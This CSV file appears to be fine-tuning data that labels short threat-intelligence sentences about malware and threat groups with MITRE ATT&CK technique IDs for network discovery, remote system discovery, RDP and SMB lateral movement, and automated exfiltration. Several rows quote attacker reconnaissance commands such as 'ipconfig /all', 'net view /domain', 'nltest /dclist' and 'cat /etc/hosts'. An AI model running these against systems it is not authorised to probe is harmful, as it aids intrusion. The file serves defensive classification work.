"Comnie uses ""ipconfig /all"" and ""route PRINT"" to identify network adapter and interface information.",['T1016 - System Network Configuration Discovery'],fine_tune
"Conti can retrieve the ARP cache from the local system by using the ""GetIpNetTable()"" API call and check to ensure IP addresses it connects to are for local, non-Internet, systems.",['T1016 - System Network Configuration Discovery'],fine_tune
CrackMapExec can collect DNS information from the targeted system.,['T1016 - System Network Configuration Discovery'],fine_tune
Crimson contains a command to collect the victim MAC address and LAN IP.,['T1016 - System Network Configuration Discovery'],fine_tune
"Cuba can retrieve the ARP cache from the local system by using ""GetIpNetTable"".",['T1016 - System Network Configuration Discovery'],fine_tune
"Denis uses ""ipconfig"" to gather the IP address from the system.",['T1016 - System Network Configuration Discovery'],fine_tune
Diavol can enumerate victims' local and external IPs when registering with C2.,['T1016 - System Network Configuration Discovery'],fine_tune
"Dragonfly 2.0 used batch scripts to enumerate network information, including information about trusts, zones, and the domain.",['T1016 - System Network Configuration Discovery'],fine_tune
"Dragonfly has used batch scripts to enumerate network information, including information about trusts, zones, and the domain.",['T1016 - System Network Configuration Discovery'],fine_tune
"Dtrack can collect the host's IP addresses using the ""ipconfig"" command.",['T1016 - System Network Configuration Discovery'],fine_tune
"During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.",['T1016 - System Network Configuration Discovery'],fine_tune
"During Frankenstein, the threat actors used Empire to find the public IP address of a compromised system.",['T1016 - System Network Configuration Discovery'],fine_tune
"During FunnyDream, the threat actors used ipconfig for discovery on remote systems.",['T1016 - System Network Configuration Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used `ipconfig`, `nbtstat`, `tracert`, `route print`, and `cat /etc/hosts` commands.",['T1016 - System Network Configuration Discovery'],fine_tune
"During Operation Wocao, threat actors discovered the local network configuration with `ipconfig`.",['T1016 - System Network Configuration Discovery'],fine_tune
Dyre has the ability to identify network settings on a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
"Earth Lusca used the command ""ipconfig"" to obtain information about network configurations.",['T1016 - System Network Configuration Discovery'],fine_tune
"Elise executes ""ipconfig /all"" after initial communication is made to the remote server.",['T1016 - System Network Configuration Discovery'],fine_tune
"Emissary has the capability to execute the command ""ipconfig /all"".",['T1016 - System Network Configuration Discovery'],fine_tune
"Empire can acquire network configuration information like DNS servers, public IP, and network proxies used by a host.",['T1016 - System Network Configuration Discovery'],fine_tune
"Epic uses the ""nbtstat -n"" and ""nbtstat -s"" commands on the victim’s machine.",['T1016 - System Network Configuration Discovery'],fine_tune
Explosive has collected the MAC address from the victim's machine.,['T1016 - System Network Configuration Discovery'],fine_tune
FELIXROOT collects information about the network including the IP address and DHCP server.,['T1016 - System Network Configuration Discovery'],fine_tune
FatDuke can identify the MAC address on the target computer.,['T1016 - System Network Configuration Discovery'],fine_tune
Felismus collects the victim LAN IP address and sends it to the C2 server.,['T1016 - System Network Configuration Discovery'],fine_tune
"Flagpro has been used to execute the ""ipconfig /all"" command on a victim system.",['T1016 - System Network Configuration Discovery'],fine_tune
FunnyDream can parse the `ProxyServer` string in the Registry to discover http proxies.,['T1016 - System Network Configuration Discovery'],fine_tune
"GALLIUM used ""ipconfig /all"" to obtain information about the victim network configuration. The group also ran a modified version of NBTscan to identify available NetBIOS name servers.",['T1016 - System Network Configuration Discovery'],fine_tune
GeminiDuke collects information on network settings and Internet proxy settings from the victim.,['T1016 - System Network Configuration Discovery'],fine_tune
GoldMax retrieved a list of the system's network interface after execution.,['T1016 - System Network Configuration Discovery'],fine_tune
Grandoreiro can determine the IP and physical location of the compromised host via IPinfo.,['T1016 - System Network Configuration Discovery'],fine_tune
"GravityRAT collects the victim IP address, MAC address, as well as the victim account domain name.",['T1016 - System Network Configuration Discovery'],fine_tune
GrimAgent can enumerate the IP and domain of a target system.,['T1016 - System Network Configuration Discovery'],fine_tune
HotCroissant has the ability to identify the IP address of the compromised machine.,['T1016 - System Network Configuration Discovery'],fine_tune
Hydraq creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines.,['T1016 - System Network Configuration Discovery'],fine_tune
Industroyer’s 61850 payload component enumerates connected network adapters and their corresponding IP addresses.,['T1016 - System Network Configuration Discovery'],fine_tune
"Ixeshe enumerates the IP address, network proxy settings, and domain name from a victim's system.",['T1016 - System Network Configuration Discovery'],fine_tune
"JPIN can obtain network information, including DNS, IP, and proxies.",['T1016 - System Network Configuration Discovery'],fine_tune
KEYMARBLE gathers the MAC address of the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
KONNI can collect the IP address from the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
Kazuar gathers information about network adapters.,['T1016 - System Network Configuration Discovery'],fine_tune
Kobalos can record the IP address of the target machine.,['T1016 - System Network Configuration Discovery'],fine_tune
"Kwampirs collects network adapter and interface information by using the commands ""ipconfig /all"", ""arp -a"" and ""route print"". It also collects the system's MAC address with ""getmac"" and domain configuration with ""net config workstation"".",['T1016 - System Network Configuration Discovery'],fine_tune
"Lazarus Group malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.",['T1016 - System Network Configuration Discovery'],fine_tune
LiteDuke has the ability to discover the proxy configuration of Firefox and/or Opera.,['T1016 - System Network Configuration Discovery'],fine_tune
Lizar can retrieve network information from a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
Lokibot has the ability to discover the domain name of the infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
LoudMiner used a script to gather the IP address of the infected machine before sending to the C2.,['T1016 - System Network Configuration Discovery'],fine_tune
Lucifer can collect the IP address of a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
MacMa can collect IP addresses from a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
Machete collects the MAC address of the target computer and other network configuration information.,['T1016 - System Network Configuration Discovery'],fine_tune
"Magic Hound malware gathers the victim's local IP address, MAC address, and external IP address.",['T1016 - System Network Configuration Discovery'],fine_tune
Milan can run `C:\Windows\system32\cmd.exe /c cmd /c ipconfig /all 2>&1` to discover network settings.,['T1016 - System Network Configuration Discovery'],fine_tune
"Mis-Type may create a file containing the results of the command ""cmd.exe /c ipconfig /all"".",['T1016 - System Network Configuration Discovery'],fine_tune
MoonWind obtains the victim IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
More_eggs has the capability to gather the IP address from the victim's machine.,['T1016 - System Network Configuration Discovery'],fine_tune
"Mosquito uses the ""ipconfig"" command.",['T1016 - System Network Configuration Discovery'],fine_tune
NETWIRE can collect the IP address of a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
NOKKI can gather information on the victim IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
Naid collects the domain name from a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
"Naikon uses commands such as ""netsh interface show"" to discover network interface settings.",['T1016 - System Network Configuration Discovery'],fine_tune
NanHaiShu can gather information about the victim proxy server.,['T1016 - System Network Configuration Discovery'],fine_tune
Neoichor can gather the IP address from an infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
OSInfo discovers the current domain information.,['T1016 - System Network Configuration Discovery'],fine_tune
OSX_OCEANLOTUS.D can collect the network interface MAC address on the infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
OceanSalt can collect the victim’s IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
"OilRig has run ""ipconfig /all"" on a victim.",['T1016 - System Network Configuration Discovery'],fine_tune
"Okrum can collect network information, including the host IP address, DNS, and proxy information.",['T1016 - System Network Configuration Discovery'],fine_tune
Olympic Destroyer uses API calls to enumerate the infected system's ARP table.,['T1016 - System Network Configuration Discovery'],fine_tune
Operation Wocao has discovered the local network configuration with ipconfig.,['T1016 - System Network Configuration Discovery'],fine_tune
Orz can gather victim proxy information.,['T1016 - System Network Configuration Discovery'],fine_tune
"POWERSTATS can retrieve IP, network adapter configuration information, and domain from compromised hosts.",['T1016 - System Network Configuration Discovery'],fine_tune
"POWRUNER may collect network configuration data by running ""ipconfig /all"" on a victim.",['T1016 - System Network Configuration Discovery'],fine_tune
Pay2Key can identify the IP and MAC addresses of the compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
PcShare can obtain the proxy settings of a compromised machine using `InternetQueryOptionA` and its IP address by running `nslookup myip.opendns.comresolver1.opendns.com\r\n`.,['T1016 - System Network Configuration Discovery'],fine_tune
Penquin can report the IP of the compromised host to attacker controlled infrastructure.,['T1016 - System Network Configuration Discovery'],fine_tune
PingPull can retrieve the IP address of a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
"PipeMon can collect and send the local IP address, RDP information, and the network adapter physical address as a part of its C2 beacon.",['T1016 - System Network Configuration Discovery'],fine_tune
PoshC2 can enumerate network adapter information.,['T1016 - System Network Configuration Discovery'],fine_tune
Proxysvc collects the network adapter information and domain/username information based on current remote sessions.,['T1016 - System Network Configuration Discovery'],fine_tune
Pysa can perform network reconnaissance using the Advanced IP Scanner tool.,['T1016 - System Network Configuration Discovery'],fine_tune
QUADAGENT gathers the current domain the victim system belongs to.,['T1016 - System Network Configuration Discovery'],fine_tune
"QakBot can use ""net config workstation"", ""arp -a"", and ""ipconfig /all"" to gather network configuration information.",['T1016 - System Network Configuration Discovery'],fine_tune
"RATANKBA gathers the victim’s IP address via the ""ipconfig -all"" command.",['T1016 - System Network Configuration Discovery'],fine_tune
"Ramsay can use ipconfig and Arp to collect network configuration information, including routing information and ARP tables.",['T1016 - System Network Configuration Discovery'],fine_tune
Reaver collects the victim's IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
RedLeaves can obtain information about network parameters.,['T1016 - System Network Configuration Discovery'],fine_tune
"Remsec can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.",['T1016 - System Network Configuration Discovery'],fine_tune
Revenge RAT collects the IP address and MAC address from the system.,['T1016 - System Network Configuration Discovery'],fine_tune
Rifdoor has the ability to identify the IP address of the compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
Rising Sun can detect network adapter and IP address information.,['T1016 - System Network Configuration Discovery'],fine_tune
RogueRobin gathers the IP address and domain from the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
"Ryuk has called ""GetIpNetTable"" in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries.",['T1016 - System Network Configuration Discovery'],fine_tune
S-Type has used `ipconfig /all` on a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
SDBbot has the ability to determine the domain name and whether a proxy is configured on a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
SHARPSTATS has the ability to identify the domain of the compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
STARWHALE has the ability to collect the IP address of an infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
Sandworm Team checks for connectivity to other resources in the network.,['T1016 - System Network Configuration Discovery'],fine_tune
ShadowPad has collected the domain name of the victim system.,['T1016 - System Network Configuration Discovery'],fine_tune
Shamoon obtains the target's IP address and local network segment.,['T1016 - System Network Configuration Discovery'],fine_tune
Sibot checked if the compromised system is configured to use proxies.,['T1016 - System Network Configuration Discovery'],fine_tune
SideCopy has identified the IP address of a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
SideTwist has the ability to collect the domain name on a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
"Sidewinder has used malware to collect information on network interfaces, including the MAC address.",['T1016 - System Network Configuration Discovery'],fine_tune
Small Sieve can obtain the IP address of a victim host.,['T1016 - System Network Configuration Discovery'],fine_tune
"SoreFang can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via ""ipconfig.exe /all"".",['T1016 - System Network Configuration Discovery'],fine_tune
"SpeakUp uses the ""ifconfig -a"" command.",['T1016 - System Network Configuration Discovery'],fine_tune
SpicyOmelette can identify the IP of a compromised system.,['T1016 - System Network Configuration Discovery'],fine_tune
Squirrelwaffle has collected the victim’s external IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
Stealth Falcon malware gathers the Address Resolution Protocol (ARP) table from the victim.,['T1016 - System Network Configuration Discovery'],fine_tune
Stuxnet collects the IP address of a compromised system.,['T1016 - System Network Configuration Discovery'],fine_tune
Sys10 collects the local IP address of the victim and sends it to the C2.,['T1016 - System Network Configuration Discovery'],fine_tune
T9000 gathers and beacons the MAC and IP addresses during installation.,['T1016 - System Network Configuration Discovery'],fine_tune
TSCookie has the ability to identify the IP of the infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
"Taidoor has collected the MAC address of a compromised host; it can also use ""GetAdaptersInfo"" to identify network adapters.",['T1016 - System Network Configuration Discovery'],fine_tune
TajMahal has the ability to identify the MAC address on an infected host.,['T1016 - System Network Configuration Discovery'],fine_tune
TeamTNT has enumerated the host machine’s IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
"The IceApple ifconfig module can iterate over all network interfaces on the host and retrieve the name, description, MAC address, DNS suffix, DNS servers, gateways, IPv4 addresses, and subnet masks.",['T1016 - System Network Configuration Discovery'],fine_tune
Threat Group-3390 actors use NBTscan to discover vulnerable systems.,['T1016 - System Network Configuration Discovery'],fine_tune
Torisma can collect the local MAC address using `GetAdaptersInfo` as well as the system's IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
Trojan.Karagany can gather information on the network configuration of a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
UPPERCUT has the capability to gather the victim's proxy information.,['T1016 - System Network Configuration Discovery'],fine_tune
"USBferry can detect the infected machine's network topology using ""ipconfig"" and ""arp"".",['T1016 - System Network Configuration Discovery'],fine_tune
Unknown Logger can obtain information about the victim's IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
VERMIN gathers the local IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
Valak has the ability to identify the domain and the MAC and IP addresses of an infected machine.,['T1016 - System Network Configuration Discovery'],fine_tune
Volgmer can gather the IP address from the victim's machine.,['T1016 - System Network Configuration Discovery'],fine_tune
WannaCry will attempt to determine the local network segment it is a part of.,['T1016 - System Network Configuration Discovery'],fine_tune
WellMail can identify the IP address of the victim system.,['T1016 - System Network Configuration Discovery'],fine_tune
"Wizard Spider has used ""ipconfig"" to identify the network configuration of a victim machine.",['T1016 - System Network Configuration Discovery'],fine_tune
ZIRCONIUM has used a tool to enumerate proxy settings in the target environment.,['T1016 - System Network Configuration Discovery'],fine_tune
"Zebrocy runs the ""ipconfig /all"" command.",['T1016 - System Network Configuration Discovery'],fine_tune
"ZeroT gathers the victim's IP address and domain information, and then sends it to its C2 server.",['T1016 - System Network Configuration Discovery'],fine_tune
"admin@338 actors used the following command after exploiting a machine with LOWBALL malware to acquire information about local networks: ""ipconfig /all >> %temp%\download""",['T1016 - System Network Configuration Discovery'],fine_tune
"ifconfig can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.",['T1016 - System Network Configuration Discovery'],fine_tune
"ipconfig can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.",['T1016 - System Network Configuration Discovery'],fine_tune
jRAT can gather victim internal and external IPs.,['T1016 - System Network Configuration Discovery'],fine_tune
nbtstat can be used to discover local NetBIOS domain names.,['T1016 - System Network Configuration Discovery'],fine_tune
route can be used to discover routing configuration information.,['T1016 - System Network Configuration Discovery'],fine_tune
xCaon has used the GetAdaptersInfo() API call to get the victim's MAC address.,['T1016 - System Network Configuration Discovery'],fine_tune
"yty runs ""ipconfig /all"" and collects the domain name.",['T1016 - System Network Configuration Discovery'],fine_tune
zwShell can obtain the victim IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
"During Operation Wocao, threat actors used a Visual Basic script that checked for internet connectivity.",['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
GoldFinder performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
HEXANE has used tools including BITSAdmin to test internet connectivity from compromised hosts.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
Neoichor can check for Internet connectivity by contacting bing[.]com with the request format `bing[.]com?id=<GetTickCount>`.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
QakBot can measure the download speed on a targeted host.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
QuietSieve can check C2 connectivity with a `ping` to 8.8.8.8 (Google public DNS).,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
Rising Sun can test a connection to a specified network IP address over a specified port number.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
SUGARUSH has checked for internet connectivity from an infected host before attempting to establish a new TCP connection.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
"Turla has used ""tracert"" to check internet connectivity.",['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
UNC2452 has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
APT29 has used AdFind to enumerate remote systems.,['T1018 - Remote System Discovery'],fine_tune
APT3 has a tool that can detect the existence of remote systems.,['T1018 - Remote System Discovery'],fine_tune
"APT32 has enumerated DC servers using the command ""net group ""Domain Controllers"" /domain"". The group has also used the ""ping"" command.",['T1018 - Remote System Discovery'],fine_tune
APT39 has used NBTscan and custom tools to discover remote systems.,['T1018 - Remote System Discovery'],fine_tune
AdFind has the ability to query Active Directory for computers.,['T1018 - Remote System Discovery'],fine_tune
"BRONZE BUTLER typically use ""ping"" and Net to enumerate systems.",['T1018 - Remote System Discovery'],fine_tune
Backdoor.Oldrea can enumerate and map ICS-specific systems in victim environments.,['T1018 - Remote System Discovery'],fine_tune
"BitPaymer can use ""net view"" to discover remote systems.",['T1018 - Remote System Discovery'],fine_tune
"BloodHound can enumerate and collect the properties of domain computers, including domain controllers.",['T1018 - Remote System Discovery'],fine_tune
"Carbon uses the ""net view"" command.",['T1018 - Remote System Discovery'],fine_tune
Chimera has utilized various scans and queries to find domain controllers and remote services in the target environment.,['T1018 - Remote System Discovery'],fine_tune
Cobalt Strike uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.,['T1018 - Remote System Discovery'],fine_tune
"Commands such as ""net view"" can be used in Net to gather information about available remote systems.",['T1018 - Remote System Discovery'],fine_tune
"Comnie runs the ""net view"" command",['T1018 - Remote System Discovery'],fine_tune
Conti has the ability to discover hosts on a target network.,['T1018 - Remote System Discovery'],fine_tune
DRATzarus can search for other machines connected to compromised host and attempt to map the network.,['T1018 - Remote System Discovery'],fine_tune
Diavol can use the ARP table to find remote hosts to scan.,['T1018 - Remote System Discovery'],fine_tune
"During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.",['T1018 - Remote System Discovery'],fine_tune
"During FunnyDream, the threat actors used several tools and batch files to map victims' internal networks.",['T1018 - Remote System Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used the `net view` and `ping` commands as part of their advanced reconnaissance.",['T1018 - Remote System Discovery'],fine_tune
"Earth Lusca used the command ""powershell “Get-EventLog -LogName security -Newest 500 | where {$_.EventID -eq 4624} | format-list -
property * | findstr “Address””"" to find the network information of successfully logged-in accounts to discovery addresses of other machines. Earth Lusca has also used multiple scanning tools to discover other machines within the same compromised network.",['T1018 - Remote System Discovery'],fine_tune
"Epic uses the ""net view"" command on the victim’s machine.",['T1018 - Remote System Discovery'],fine_tune
FIN5 has used the open source tool Essential NetTools to map the network and build a list of targets.,['T1018 - Remote System Discovery'],fine_tune
"FIN6 used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.","['T1018 - Remote System Discovery', 'T1046 - Network Service Discovery']",fine_tune
"FIN8 has used dsquery and other Active Directory utilities to enumerate hosts; they have also used ""nltest.exe /dclist"" to retrieve a list of domain controllers.",['T1018 - Remote System Discovery'],fine_tune
"Flagpro has been used to execute ""net view"" on a targeted system.",['T1018 - Remote System Discovery'],fine_tune
Fox Kitten has used Angry IP Scanner to detect remote systems.,['T1018 - Remote System Discovery'],fine_tune
"GALLIUM used a modified version of NBTscan to identify available NetBIOS name servers over the network as well as ""ping"" to identify remote systems.",['T1018 - Remote System Discovery'],fine_tune
HEXANE has used `net view` to enumerate domain machines.,['T1018 - Remote System Discovery'],fine_tune
"Indrik Spider has used PowerView to enumerate all Windows Server, Windows Server 2003, and Windows 7 instances in the Active Directory database.",['T1018 - Remote System Discovery'],fine_tune
Industroyer can enumerate remote computers in the compromised network.,['T1018 - Remote System Discovery'],fine_tune
"Ke3chang has used network scanning and enumeration tools, including Ping.",['T1018 - Remote System Discovery'],fine_tune
"Kwampirs collects a list of available servers with the command ""net view"".",['T1018 - Remote System Discovery'],fine_tune
MURKYTOP has the capability to identify remote hosts on connected networks.,['T1018 - Remote System Discovery'],fine_tune
NBTscan can list NetBIOS computer names.,['T1018 - Remote System Discovery'],fine_tune
Naikon has used a netbios scanner for remote machine identification.,['T1018 - Remote System Discovery'],fine_tune
"Nltest may be used to enumerate remote domain controllers using options such as ""/dclist"" and ""/dsgetdc"".",['T1018 - Remote System Discovery'],fine_tune
OSInfo performs a connection test to discover remote systems in the network,['T1018 - Remote System Discovery'],fine_tune
Olympic Destroyer uses Windows Management Instrumentation to enumerate all systems in the network.,['T1018 - Remote System Discovery'],fine_tune
"Operation Wocao can use the ""ping"" command to discover remote systems.",['T1018 - Remote System Discovery'],fine_tune
Ping can be used to identify remote systems within a network.,['T1018 - Remote System Discovery'],fine_tune
PoetRAT used Nmap for remote system discovery.,['T1018 - Remote System Discovery'],fine_tune
"QakBot can identify remote systems through the ""net view"" command.",['T1018 - Remote System Discovery'],fine_tune
"RATANKBA runs the ""net view /domain"" and ""net view"" commands.",['T1018 - Remote System Discovery'],fine_tune
ROADTools can enumerate Azure AD systems and devices.,['T1018 - Remote System Discovery'],fine_tune
"SHOTPUT has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.",['T1018 - Remote System Discovery'],fine_tune
SILENTTRINITY can enumerate and collect the properties of domain computers.,['T1018 - Remote System Discovery'],fine_tune
"Sandworm Team has used a tool to query Active Directory using LDAP, discovering information about computers listed in AD.",['T1018 - Remote System Discovery'],fine_tune
"Silence has used Nmap to scan the corporate network, build a network topology, and identify vulnerable hosts.",['T1018 - Remote System Discovery'],fine_tune
"SpicyOmelette can identify payment systems, payment gateways, and ATM systems in compromised environments.",['T1018 - Remote System Discovery'],fine_tune
"Sykipot may use ""net view /domain"" to display hostnames of available systems on a network.",['T1018 - Remote System Discovery'],fine_tune
TRITON’s TsLow python module pings controllers over the TriStation protocol.,['T1018 - Remote System Discovery'],fine_tune
The TAINTEDSCRIBE command and execution module can perform target system enumeration.,['T1018 - Remote System Discovery'],fine_tune
"Threat Group-3390 has used the ""net view"" command.",['T1018 - Remote System Discovery'],fine_tune
TrickBot can enumerate computers and network devices.,['T1018 - Remote System Discovery'],fine_tune
"Turla surveys a system upon check-in to discover remote systems on a local network using the ""net view"" and ""net view /DOMAIN"" commands. Turla has also used ""net group ""Domain Computers"" /domain"", ""net group ""Domain Controllers"" /domain"", and ""net group ""Exchange Servers"" /domain"" to enumerate domain computers, including the organization's DC and Exchange Server.",['T1018 - Remote System Discovery'],fine_tune
WannaCry scans its local network segment for remote systems to try to exploit and copy itself to.,['T1018 - Remote System Discovery'],fine_tune
"Wizard Spider has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. Wizard Spider has also used AdFind and ""nltest/dclist"" to enumerate domain computers, including the domain controller.",['T1018 - Remote System Discovery'],fine_tune
"menuPass uses scripts to enumerate IP ranges on the victim network. menuPass has also issued the command ""net view /domain"" to a PlugX implant to gather information about remote systems on the network.",['T1018 - Remote System Discovery'],fine_tune
njRAT can identify remote hosts on connected networks.,['T1018 - Remote System Discovery'],fine_tune
CosmicDuke exfiltrates collected files automatically over FTP to remote servers.,['T1020 - Automated Exfiltration'],fine_tune
Crutch has automatically exfiltrated stolen files to Dropbox.,['T1020 - Automated Exfiltration'],fine_tune
Doki has used a script that gathers information from a hardcoded list of IP addresses and uploads to an Ngrok URL.,['T1020 - Automated Exfiltration'],fine_tune
"During Frankenstein, the threat actors collected information via Empire, which was automatically sent back to the adversary's C2.",['T1020 - Automated Exfiltration'],fine_tune
Ebury can automatically exfiltrate gathered SSH credentials.,['T1020 - Automated Exfiltration'],fine_tune
Empire has the ability to automatically send collected data back to the threat actors' C2.,['T1020 - Automated Exfiltration'],fine_tune
"Frankenstein has collected information via Empire, which is automatically sent the data back to the adversary's C2.","['T1020 - Automated Exfiltration', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
LightNeuron can be configured to automatically exfiltrate files under a specified directory.,['T1020 - Automated Exfiltration'],fine_tune
OutSteel can automatically upload collected files to its C2 server.,['T1020 - Automated Exfiltration'],fine_tune
Peppy has the ability to automatically exfiltrate files and keylogs.,['T1020 - Automated Exfiltration'],fine_tune
Rover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.,['T1020 - Automated Exfiltration'],fine_tune
ShimRatReporter sent collected system and network information compiled into a report to an adversary-controlled C2.,['T1020 - Automated Exfiltration'],fine_tune
Sidewinder has configured tools to automatically send collected files to attacker controlled servers.,['T1020 - Automated Exfiltration'],fine_tune
StrongPity can automatically exfiltrate collected documents to the C2 server.,['T1020 - Automated Exfiltration'],fine_tune
TajMahal has the ability to manage an automated queue of egress files and commands sent to its C2.,['T1020 - Automated Exfiltration'],fine_tune
MacMa can manage remote screen sessions.,['T1021 - Remote Services'],fine_tune
APT29 has used RDP sessions from public-facing systems to internal servers.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
APT41 used RDP for lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Axiom has used RDP during operations.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Blue Mockingbird has used Remote Desktop to log on to servers interactively and manually copy files to remote hosts.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Carbanak enables concurrent Remote Desktop Protocol (RDP) sessions.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Chimera has used RDP to access targeted systems.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Cobalt Group has used Remote Desktop Protocol to conduct lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
DarkComet can open an active screen of the victim’s machine and take control of the mouse and keyboard.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Dragonfly 2.0 moved laterally via RDP.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Dragonfly has moved laterally via RDP.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
FIN6 used RDP to move laterally in victim networks.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
FIN7 has used RDP to move laterally in victim environments.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
FIN8 has used RDP for lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Fox Kitten has used RDP to log in and move laterally in the target environment.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Kimsuky has used RDP for direct remote point-and-click access.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Leviathan has targeted RDP credentials and used it to move through the victim environment.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Magic Hound has used Remote Desktop Services on targeted systems.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
OilRig has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Pupy can enable/disable RDP connection and can start a remote desktop session using a browser web socket client.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
QuasarRAT has a module for performing remote desktop access.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
ServHelper has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Silence has used RDP for lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Stolen Pencil utilized RDP for direct remote point-and-click access.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
TEMP.Veles utilized RDP throughout an operation.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
The APT1 group is known to have used RDP during operations.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Wizard Spider has used RDP for lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
jRAT can support RDP control.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
menuPass has used RDP connections to move across the victim network.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
APT3 will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
APT41 has transferred implant files using Windows Admin Shares.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.,"['T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1078 - Valid Accounts']",fine_tune
Anchor can support windows execution via SMB shares.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
